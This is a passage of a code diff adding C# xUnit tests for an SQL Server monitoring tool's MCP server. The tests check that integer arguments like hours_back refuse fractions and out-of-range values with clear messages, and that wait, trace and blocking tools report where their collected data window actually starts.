+    private static SortedSet<string> ToolsDeclaring(string parameter) =>
+        new(LiteToolTypes()
+            .SelectMany(t => t.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static))
+            .Select(m => (Method: m, Attribute: m.GetCustomAttribute<McpServerToolAttribute>()))
+            .Where(x => x.Attribute is not null && x.Method.GetParameters().Any(p => p.Name == parameter))
+            .Select(x => x.Attribute!.Name ?? x.Method.Name),
+            StringComparer.Ordinal);
+
+    /// <summary>
+    /// Every Lite tool that takes <c>hours_back</c>, called through a real in-process server with
+    /// <c>hours_back: 0.5</c>, answers with the refusal that names <c>hours_back</c>. A tool added later is called
+    /// too, and a tool that does not answer this way fails here by name.
+    /// </summary>
+    [Fact]
+    public async Task EveryToolThatTakesHoursBack_RefusesHalfAnHour_WithAMessageNamingIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await StartHostAsync();
+
+        var tools = await host.Client.ListToolsAsync(cancellationToken: ct);
+        var advertised = new SortedSet<string>(StringComparer.Ordinal);
+        var failures = new List<string>();
+
+        foreach (var tool in tools)
+        {
+            if (!tool.JsonSchema.TryGetProperty("properties", out var properties)
+                || !properties.TryGetProperty("hours_back", out var hoursBack))
+            {
+                continue;
+            }
+
+            advertised.Add(tool.Name);
+
+            if (!hoursBack.TryGetProperty("type", out var type) || type.ValueKind != JsonValueKind.String || type.GetString() != "integer")
+            {
+                failures.Add($"{tool.Name}: hours_back is advertised as {hoursBack.GetRawText()}, not as an integer");
+                continue;
+            }
+
+            var result = await host.Client.CallToolAsync(
+                tool.Name, new Dictionary<string, object?> { ["hours_back"] = Json("0.5") }, cancellationToken: ct);
+
+            var failure = McpInProcessHost.WholeNumberRefusalProblem(tool.Name, "hours_back", "whole number of hours", result);
+            if (failure is not null)
+            {
+                failures.Add(failure);
+            }
+        }
+
+        Assert.NotEmpty(advertised);
+
+        foreach (var missing in ToolsDeclaring("hours_back").Except(advertised))
+        {
+            failures.Add($"{missing}: declares hours_back but does not advertise it");
+        }
+
+        Assert.True(
+            failures.Count == 0,
+            $"{failures.Count} of {advertised.Count} tools that take hours_back do not refuse 0.5 by name:\n"
+            + string.Join("\n", failures));
+    }
+
+    /// <summary>The same treatment for another integer parameter, through the same real call path:
+    /// <c>get_wait_stats</c> with <c>limit: 2.5</c>.</summary>
+    [Fact]
+    public async Task AnotherIntegerParameter_RefusesAFraction_WithAMessageNamingIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await StartHostAsync();
+
+        var result = await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["limit"] = Json("2.5") }, cancellationToken: ct);
+
+        Assert.Null(McpInProcessHost.WholeNumberRefusalProblem("get_wait_stats", "limit", "whole number", result));
+    }
+
+    /// <summary>A whole number past <see cref="int"/> sent for <c>hours_back</c>, through a real in-process server with
+    /// the declared parameter types recorded, is refused as too large, and the refusal states no range. The CLR type's
+    /// range is not the range the tool takes: <c>hours_back</c> is an int, but <c>McpHelpers.ValidateHoursBack</c>
+    /// refuses anything outside 1-168. A refusal that quoted "from -2147483648 to 2147483647" gave the caller two
+    /// ranges that disagree, and invited a retry the tool's own validator refuses.</summary>
+    [Fact]
+    public async Task HoursBackPastInt_IsRefusedAsTooLarge_AndStatesNoRange()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await StartHostAsync();
+
+        var result = await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["hours_back"] = Json("99999999999") }, cancellationToken: ct);
+
+        var problem = McpInProcessHost.WholeNumberRefusalProblem("get_wait_stats", "hours_back", "whole number of hours", result);
+        Assert.True(problem is null, problem);
+        var message = McpInProcessHost.RefusalMessage(result)!;
+        Assert.Contains("which is too large", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("2147483647", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("-2147483648", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>Every integer parameter of every Lite tool refuses 2.5, 1.0, "0.5" and true by name, and passes 1, "1"
+    /// and null. Checked against the guard's decision, so no tool body runs, and with no recorded parameter types:
+    /// this is the schema-only path that a tool the record does not cover falls back to. The binder reads null only
+    /// for a nullable parameter, and the schema does not say which are, so this path passes null. With the declared
+    /// types recorded, which is how the host calls the guard, a non-nullable parameter refuses null by name;
+    /// <see cref="McpArgumentTypeTests"/> pins that.</summary>
+    [Fact]
+    public async Task EveryIntegerParameter_RefusesWhatTheBinderCannotRead_AndAcceptsWhatItCan()
+    {
+        await using var host = await StartHostAsync();
+        var failures = new List<string>();
+        var checkedCount = 0;
+
+        foreach (var tool in host.RegisteredTools)
+        {
+            var name = tool.ProtocolTool.Name;
+            if (!tool.ProtocolTool.InputSchema.TryGetProperty("properties", out var properties))
+            {
+                continue;
+            }
+
+            foreach (var property in properties.EnumerateObject())
+            {
+                if (!property.Value.TryGetProperty("type", out var type) || type.ValueKind != JsonValueKind.String || type.GetString() != "integer")
+                {
+                    continue;
+                }
+
+                checkedCount++;
+
+                foreach (var bad in new[] { "2.5", "1.0", "\"0.5\"", "true" })
+                {
+                    var refusal = McpUnknownArgumentGuard.Refuse(Call(name, property.Name, bad), tool);
+                    var problem = refusal is null
+                        ? $"{name}.{property.Name}: accepted {bad}"
+                        : McpInProcessHost.WholeNumberRefusalProblem(name, property.Name, "whole number", refusal);
+
+                    if (problem is not null)
+                    {
+                        failures.Add(problem);
+                    }
+                }
+
+                foreach (var good in new[] { "1", "\"1\"", "null" })
+                {
+                    if (McpUnknownArgumentGuard.Refuse(Call(name, property.Name, good), tool) is { } refused)
+                    {
+                        failures.Add($"{name}.{property.Name}: refused {good}, which the guard must pass -> {McpInProcessHost.TextOf(refused)}");
+                    }
+                }
+            }
+        }
+
+        Assert.True(checkedCount > 0, "Found no integer parameters to check.");
+        Assert.True(
+            failures.Count == 0,
+            $"{failures.Count} problems across {checkedCount} integer parameters:\n" + string.Join("\n", failures.Take(40)));
+    }
+
+    /// <summary>
+    /// A whole number past <see cref="long"/> is refused, since no integer parameter can read it, and the refusal says
+    /// why: too large, or too small. It must not ask for "no decimal point", because the caller sent none.
+    /// </summary>
+    [Theory]
+    [InlineData("99999999999999999999", "too large")]
+    [InlineData("\"99999999999999999999\"", "too large")]
+    [InlineData("-99999999999999999999", "too small")]
+    [InlineData("\"-99999999999999999999\"", "too small")]
+    public async Task AWholeNumberPastLong_IsRefusedAsTooLargeOrTooSmall(string rawValue, string reason)
+    {
+        await using var host = await StartHostAsync();
+        var tool = host.RegisteredTools.Single(registered => registered.ProtocolTool.Name == "get_wait_stats");
+
+        var refusal = McpUnknownArgumentGuard.Refuse(Call("get_wait_stats", "hours_back", rawValue), tool);
+
+        Assert.NotNull(refusal);
+        var problem = McpInProcessHost.WholeNumberRefusalProblem("get_wait_stats", "hours_back", reason, refusal);
+        Assert.True(problem is null, problem);
+        var message = McpInProcessHost.RefusalMessage(refusal)!;
+        Assert.False(message.Contains("no decimal point", StringComparison.Ordinal), message);
+    }
+
+    /// <summary>
+    /// The refusal quotes the value back, cut short at 40 UTF-16 units. Twenty-one emoji in a string are 44 units with
+    /// the quotes, and a cut at 40 splits the twentieth emoji, which System.Text.Json writes as U+FFFD. The cut keeps
+    /// whole characters, so the message shows nineteen emoji, then the truncation suffix, and no U+FFFD.
+    /// </summary>
+    [Fact]
+    public async Task AValueCutShortInTheRefusal_KeepsWholeCharacters()
+    {
+        const string Emoji = "\U0001F600";
+        await using var host = await StartHostAsync();
+        var tool = host.RegisteredTools.Single(registered => registered.ProtocolTool.Name == "get_wait_stats");
+        var sent = "\"" + string.Concat(Enumerable.Repeat(Emoji, 21)) + "\"";
+
+        var refusal = McpUnknownArgumentGuard.Refuse(Call("get_wait_stats", "hours_back", sent), tool);
+
+        Assert.NotNull(refusal);
+        var message = McpInProcessHost.RefusalMessage(refusal)!;
+        Assert.False(message.Contains('�'), message);
+        Assert.Contains(
+            "the call sent \"" + string.Concat(Enumerable.Repeat(Emoji, 19)) + "... (truncated).", message, StringComparison.Ordinal);
+    }
+
+    private static CallToolRequestParams Call(string toolName, string parameter, string rawValue) =>
+        new() { Name = toolName, Arguments = new Dictionary<string, JsonElement> { [parameter] = Json(rawValue) } };
+}
diff --git a/Lite.Tests/McpWindowNoticeAggregateToolTests.cs b/Lite.Tests/McpWindowNoticeAggregateToolTests.cs
new file mode 100644
index 0000000000..04fe176aa0
--- /dev/null
+++ b/Lite.Tests/McpWindowNoticeAggregateToolTests.cs
@@ -0,0 +1,667 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on Lite's three aggregate tools: <c>get_default_trace_events</c>, <c>get_wait_stats</c> and
+/// <c>get_blocking_stats</c>. Each publishes <c>effective_start</c>, <c>window_truncated</c> and <c>truncation_note</c> right
+/// after <c>hours_back</c> on a data answer, from the coverage probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>).
+/// An <c>empty</c> answer carries the same three keys under <c>hints</c>; <c>unavailable</c> and <c>not_collected</c> keep their
+/// shape. <c>get_blocking_stats</c> reads two collectors and says ONE thing, from the EARLIER of the blocked process reports'
+/// coverage (with the DMV blocking snapshots beside it) and the deadlocks'. <c>get_daily_summary_range</c> writes no keys,
+/// because every row it returns carries its own data state and the store's retention horizon (pinned at the end). Every window
+/// is anchored at a fixed <c>as_of</c>, never the clock. Own <see cref="DuckDbInitializer"/> per test, like
+/// <see cref="McpWindowNoticeConfigAndLogToolTests"/>.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class McpWindowNoticeAggregateToolTests : IDisposable
+{
+    private const string ServerName = "AggregateNoticeServer";
+    private const string AsOf = "2026-09-10T12:00:00Z";
+    private const int HoursBack = 168;
+    private const int ServerUtcOffsetMinutes = -300;
+    private static readonly DateTime Anchor = new(2026, 9, 10, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime WindowStart = Anchor.AddHours(-HoursBack);
+
+    private readonly int _serverId;
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly PendingSeedSession _seed;
+    private readonly ServerManager _serverManager;
+    private long _nextId = 1;
+
+    public McpWindowNoticeAggregateToolTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "McpWindowNoticeAggregate_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(Path.Combine(_tempDir, "config"));
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _seed = new PendingSeedSession(_duckDb);
+
+        _serverManager = new ServerManager(Path.Combine(_tempDir, "config"));
+        var server = new ServerConnection { ServerName = ServerName, DisplayName = ServerName };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seed.Dispose();
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static DateTime ParseUtc(string text) =>
+        DateTime.Parse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+
+    private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
+
+    private LocalDataService Service()
+    {
+        _seed.Flush();
+        return new(_duckDb);
+    }
+
+    private Task<string> TraceAsync(int hoursBack = HoursBack, int limit = 100) =>
+        McpDefaultTraceTools.GetDefaultTraceEvents(Service(), _serverManager, ServerName, hoursBack, limit, AsOf);
+
+    private Task<string> WaitsAsync(int hoursBack = HoursBack, int limit = 20) =>
+        McpWaitTools.GetWaitStats(Service(), _serverManager, ServerName, hoursBack, limit, AsOf);
+
+    private Task<string> BlockingAsync(int hoursBack = HoursBack) =>
+        McpHealthTools.GetBlockingStats(Service(), _serverManager, ServerName, hoursBack, AsOf);
+
+    /* ───────────────────────── get_default_trace_events ───────────────────────── */
+
+    [Fact]
+    public async Task DefaultTrace_CollectionStartsInsideTheWindow_ReportsTheFloorInUtc_AndTheNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedRunsAsync("default_trace_events", floor, Anchor, everyMinutes: 30);
+        await SeedTraceEventAsync(floor);
+        await SeedTraceEventAsync(Anchor.AddDays(-1));
+
+        var root = Root(await TraceAsync());
+
+        /* The store holds the event in the server's wall clock (UTC-5 here); the floor is named in UTC, as the read names it. */
+        AssertTruncatedAt(root, floor, "default_trace_events");
+    }
+
+    [Fact]
+    public async Task DefaultTrace_AQuietStart_CollectedFromBeforeTheWindow_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+        await SeedRunsAsync("default_trace_events", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedTraceEventAsync(Anchor.AddDays(-2));
+
+        var root = Root(await TraceAsync());
+
+        AssertCovered(root, WindowStart);
+    }
+
+    /// <summary>
+    /// The Default Trace stores its times in the server's wall clock (five hours behind UTC here). The first event happened a day
+    /// into the window; it is stored five hours earlier. The floor is named at the UTC instant of the event, not at the stored
+    /// wall-clock time the column holds.
+    /// </summary>
+    [Fact]
+    public async Task DefaultTrace_TheFloorIsConvertedFromTheServersWallClock()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+        var floorUtc = WindowStart.AddDays(1);
+        await SeedTraceEventAsync(floorUtc);
+        await SeedTraceEventAsync(Anchor.AddDays(-1));
+
+        var root = Root(await TraceAsync());
+
+        AssertTruncatedAt(root, floorUtc, "default_trace_events");
+        var named = ParseUtc(root.GetProperty("effective_start").GetString()!);
+        Assert.True(Math.Abs((named - floorUtc.AddMinutes(ServerUtcOffsetMinutes)).TotalHours) > 1, "the floor must not be the stored wall-clock time");
+    }
+
+    [Fact]
+    public async Task DefaultTrace_ADataAnswer_CarriesTheKeysRightAfterHoursBack()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+        await SeedRunsAsync("default_trace_events", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedTraceEventAsync(Anchor.AddDays(-2));
+
+        AssertKeysFollowHoursBack(Root(await TraceAsync()));
+    }
+
+    [Fact]
+    public async Task DefaultTrace_AShortWindowWithRows_StartsNoProbe_AndIsCoveredAtTheRequestedStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+        await SeedTraceEventAsync(Anchor.AddMinutes(-30));
+
+        var root = Root(await TraceAsync(hoursBack: 1));
+
+        /* A probe would have named the row, 30 minutes in. */
+        AssertCovered(root, Anchor.AddHours(-1));
+    }
+
+    [Fact]
+    public async Task DefaultTrace_AnEmptyWindow_PastCoverage_CarriesTheFloorAndTheNote_UnderHints()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+        await SeedRunsAsync("default_trace_events", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+
+        var root = Root(await TraceAsync());
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertTruncatedAt(root.GetProperty("hints"), Anchor.AddDays(-2), "default_trace_events");
+    }
+
+    [Fact]
+    public async Task DefaultTrace_AnEmptyWindow_TheStoreHoldsNothingIn_SaysNothingWasRead()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+        await SeedRunsAsync("default_trace_events", WindowStart.AddDays(-9), WindowStart.AddDays(-8), everyMinutes: 60);
+
+        var root = Root(await TraceAsync());
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), "default_trace_events");
+    }
+
+    [Fact]
+    public async Task DefaultTrace_AnEmptyShortWindow_IsAlwaysProbed()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedServerClockAsync();
+
+        var root = Root(await TraceAsync(hoursBack: 1));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), "default_trace_events");
+    }
+
+    /* ───────────────────────── get_wait_stats ───────────────────────── */
+
+    [Fact]
+    public async Task WaitStats_CollectionStartsInsideTheWindow_ReportsTheFloor_AndTheNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedRunsAsync("wait_stats", floor, Anchor, everyMinutes: 30);
+        await SeedWaitAsync(floor);
+        await SeedWaitAsync(Anchor.AddDays(-1));
+
+        var root = Root(await WaitsAsync());
+
+        AssertTruncatedAt(root, floor, "wait_stats");
+    }
+
+    [Fact]
+    public async Task WaitStats_AQuietStart_CollectedFromBeforeTheWindow_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("wait_stats", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedWaitAsync(Anchor.AddDays(-2));
+
+        AssertCovered(Root(await WaitsAsync()), WindowStart);
+    }
+
+    [Fact]
+    public async Task WaitStats_ADataAnswer_CarriesTheKeysRightAfterHoursBack()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("wait_stats", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedWaitAsync(Anchor.AddDays(-2));
+
+        AssertKeysFollowHoursBack(Root(await WaitsAsync()));
+    }
+
+    [Fact]
+    public async Task WaitStats_AShortWindowWithRows_StartsNoProbe_AndIsCoveredAtTheRequestedStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedWaitAsync(Anchor.AddMinutes(-30));
+
+        AssertCovered(Root(await WaitsAsync(hoursBack: 1)), Anchor.AddHours(-1));
+    }
+
+    /// <summary>A capped page (<c>limit: 1</c> over two wait types) sits next to a window floor: the page cut does not change the notice.</summary>
+    [Fact]
+    public async Task WaitStats_ACappedPage_NextToAWindowFloor_LeavesTheNoticeUnchanged()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedRunsAsync("wait_stats", floor, Anchor, everyMinutes: 30);
+        await SeedWaitAsync(floor, "PAGEIOLATCH_SH");
+        await SeedWaitAsync(Anchor.AddDays(-1), "WRITELOG");
+
+        var root = Root(await WaitsAsync(limit: 1));
+
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        AssertTruncatedAt(root, floor, "wait_stats");
+    }
+
+    /// <summary>The no-rows answer is <c>unavailable</c> and stays bare, even beside collector runs: it keys on the data answer only.</summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task WaitStats_NoRows_IsUnavailable_AndStaysBare(bool collectorRan)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        if (collectorRan)
+        {
+            await SeedRunsAsync("wait_stats", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        }
+
+        var root = Root(await WaitsAsync());
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        AssertBare(root);
+    }
+
+    /* ───────────────────────── get_blocking_stats ───────────────────────── */
+
+    [Fact]
+    public async Task BlockingStats_CollectionStartsInsideTheWindow_ReportsTheFloor_AndTheNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedRunsAsync("blocked_process_report", floor, Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", floor, Anchor, everyMinutes: 30);
+        await SeedBprAsync(floor);
+        await SeedBprAsync(Anchor.AddDays(-1));
+
+        var root = Root(await BlockingAsync());
+
+        AssertTruncatedAt(root, floor, "blocked_process_report and deadlocks");
+    }
+
+    [Fact]
+    public async Task BlockingStats_AQuietStart_CollectedFromBeforeTheWindow_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("blocked_process_report", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedBprAsync(Anchor.AddDays(-2));
+
+        AssertCovered(Root(await BlockingAsync()), WindowStart);
+    }
+
+    /// <summary>
+    /// One notice, from the LATER of the two series' floors, whichever collector is later: blocking and deadlocks are separate
+    /// series in one answer, and the series that began later has an empty head that would read as "none happened". Both start
+    /// inside the window, three days and two days in, in both orders: the notice is at the two-day one.
+    /// </summary>
+    [Theory]
+    [InlineData(-3, -2)]
+    [InlineData(-2, -3)]
+    public async Task BlockingStats_TheLaterOfTheTwoSeriesFloors_Wins(int blockedProcessDays, int deadlockDays)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("blocked_process_report", Anchor.AddDays(blockedProcessDays), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", Anchor.AddDays(deadlockDays), Anchor, everyMinutes: 30);
+        await SeedBprAsync(Anchor.AddDays(-1));
+
+        var root = Root(await BlockingAsync());
+
+        AssertTruncatedAt(root, Anchor.AddDays(Math.Max(blockedProcessDays, deadlockDays)), "blocked_process_report and deadlocks");
+    }
+
+    /// <summary>
+    /// One series covers the window from before it and the other began inside it: the notice names the later start, in both
+    /// orders. An uncovered deadlock half beside covered blocking reads as "no deadlocks" otherwise, and the reverse.
+    /// </summary>
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task BlockingStats_OneSeriesCoveredFromBeforeTheWindow_TheOtherStartingInside_NoticeIsAtTheLaterStart(bool deadlocksCoverFirst)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var early = deadlocksCoverFirst ? "deadlocks" : "blocked_process_report";
+        var late = deadlocksCoverFirst ? "blocked_process_report" : "deadlocks";
+        var lateStart = Anchor.AddDays(-2);
+        await SeedRunsAsync(early, WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedRunsAsync(late, lateStart, Anchor, everyMinutes: 30);
+        await SeedBprAsync(Anchor.AddDays(-1));
+
+        AssertTruncatedAt(Root(await BlockingAsync()), lateStart, "blocked_process_report and deadlocks");
+    }
+
+    /// <summary>Deadlock rows and no blocking rows: a data answer from the second series alone, with that series' floor.</summary>
+    [Fact]
+    public async Task BlockingStats_DeadlockRowsOnly_IsADataAnswer_WithTheDeadlockFloor()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var deadlockStart = Anchor.AddDays(-2);
+        await SeedRunsAsync("blocked_process_report", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", deadlockStart, Anchor, everyMinutes: 30);
+        await SeedDeadlockAsync(Anchor.AddDays(-1));
+
+        var root = Root(await BlockingAsync());
+
+        Assert.False(root.TryGetProperty("status", out _));
+        Assert.Equal(0, root.GetProperty("blocking_duration").GetArrayLength());
+        Assert.Equal(1, root.GetProperty("deadlock_severity").GetArrayLength());
+        AssertTruncatedAt(root, deadlockStart, "blocked_process_report and deadlocks");
+    }
+
+    /// <summary>
+    /// Inside the blocking series the EARLIER source wins: the XE reports start three days in and the DMV snapshots one day in,
+    /// the deadlocks are covered, so the blocking floor (and the notice) is the XE start. The reverse order is the DMV test below.
+    /// </summary>
+    [Fact]
+    public async Task BlockingStats_TheXeReportsStartingEarly_TheDmvSnapshotsLate_BlockingFloorIsTheXeStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var xeStart = Anchor.AddDays(-3);
+        await SeedRunsAsync("blocked_process_report", xeStart, Anchor, everyMinutes: 30);
+        await SeedRunsAsync("dmv_blocking_snapshot", Anchor.AddDays(-1), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedBprAsync(Anchor.AddHours(-20));
+
+        AssertTruncatedAt(Root(await BlockingAsync()), xeStart, "blocked_process_report and deadlocks");
+    }
+
+    /// <summary>Both series covered from before the window, with rows in each: no notice.</summary>
+    [Fact]
+    public async Task BlockingStats_BothSeriesCoveredFromBeforeTheWindow_HaveNoNotice()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("blocked_process_report", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedBprAsync(Anchor.AddDays(-1));
+        await SeedDeadlockAsync(Anchor.AddDays(-1));
+
+        var root = Root(await BlockingAsync());
+
+        Assert.Equal(1, root.GetProperty("deadlock_severity").GetArrayLength());
+        AssertCovered(root, WindowStart);
+    }
+
+    /// <summary>The DMV blocking snapshots are the report grid's also-covered source: a server with no XE session is covered by them.</summary>
+    [Fact]
+    public async Task BlockingStats_TheDmvCollectorCoveringFromBeforeTheWindow_CountsAsTheBlockingCoverage()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("dmv_blocking_snapshot", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("blocked_process_report", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedDmvAsync(Anchor.AddDays(-1));
+
+        AssertCovered(Root(await BlockingAsync()), WindowStart);
+    }
+
+    [Fact]
+    public async Task BlockingStats_ADataAnswer_CarriesTheKeysRightAfterHoursBack_AndOneNoticeOnly()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("blocked_process_report", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedBprAsync(Anchor.AddDays(-1));
+
+        var root = Root(await BlockingAsync());
+
+        AssertKeysFollowHoursBack(root);
+        /* One notice for the payload, none inside either series. */
+        foreach (var series in new[] { "blocking_duration", "deadlock_severity" })
+        {
+            foreach (var point in root.GetProperty(series).EnumerateArray())
+            {
+                Assert.False(point.TryGetProperty("effective_start", out _));
+                Assert.False(point.TryGetProperty("window_truncated", out _));
+            }
+        }
+    }
+
+    [Fact]
+    public async Task BlockingStats_AShortWindowWithRows_StartsNoProbe_AndIsCoveredAtTheRequestedStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedBprAsync(Anchor.AddMinutes(-30));
+
+        AssertCovered(Root(await BlockingAsync(hoursBack: 1)), Anchor.AddHours(-1));
+    }
+
+    [Fact]
+    public async Task BlockingStats_AnEmptyWindow_PastCoverage_CarriesTheFloorAndTheNote_UnderHints()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("blocked_process_report", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", Anchor.AddDays(-3), Anchor, everyMinutes: 30);
+
+        var root = Root(await BlockingAsync());
+
+        /* The later of the two series' starts: before day -2 the blocking series was not collected, so its empty head says nothing. */
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertTruncatedAt(root.GetProperty("hints"), Anchor.AddDays(-2), "blocked_process_report and deadlocks");
+
+        /* #4966: cut at a start, so the "genuinely clear" claim gives way to the cut sentence that points at effective_start. */
+        Assert.Equal($"No blocking or deadlocks recorded for {ServerName} in the last {HoursBack} hour(s). {McpHelpers.CutWindowNothingMessage}", root.GetProperty("message").GetString());
+    }
+
+    /// <summary>#4966: both blocking collectors have run from before the window: the covered text keeps its "genuinely clear" claim.</summary>
+    [Fact]
+    public async Task BlockingStats_AnEmptyWindow_Covered_KeepsTheGenuinelyClearClaim()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("blocked_process_report", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedRunsAsync("deadlocks", WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+
+        var root = Root(await BlockingAsync());
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertCovered(root.GetProperty("hints"), WindowStart);
+        Assert.Equal(
+            $"No blocking or deadlocks recorded for {ServerName} in the last {HoursBack} hour(s). The blocking collectors HAVE run successfully for this server, so the window is genuinely clear rather than blind.",
+            root.GetProperty("message").GetString());
+    }
+
+    [Fact]
+    public async Task BlockingStats_AnEmptyWindow_TheStoreHoldsNothingIn_SaysNothingWasRead()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("blocked_process_report", WindowStart.AddDays(-9), WindowStart.AddDays(-8), everyMinutes: 60);
+
+        var root = Root(await BlockingAsync());
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), "blocked_process_report and deadlocks");
+        /* #4966: no start to name, so the sentence says nothing was read. */
+        Assert.Equal($"No blocking or deadlocks recorded for {ServerName} in the last {HoursBack} hour(s). {McpHelpers.CutWindowNothingReadMessage}", root.GetProperty("message").GetString());
+    }
+
+    [Fact]
+    public async Task BlockingStats_AnEmptyShortWindow_IsAlwaysProbed()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
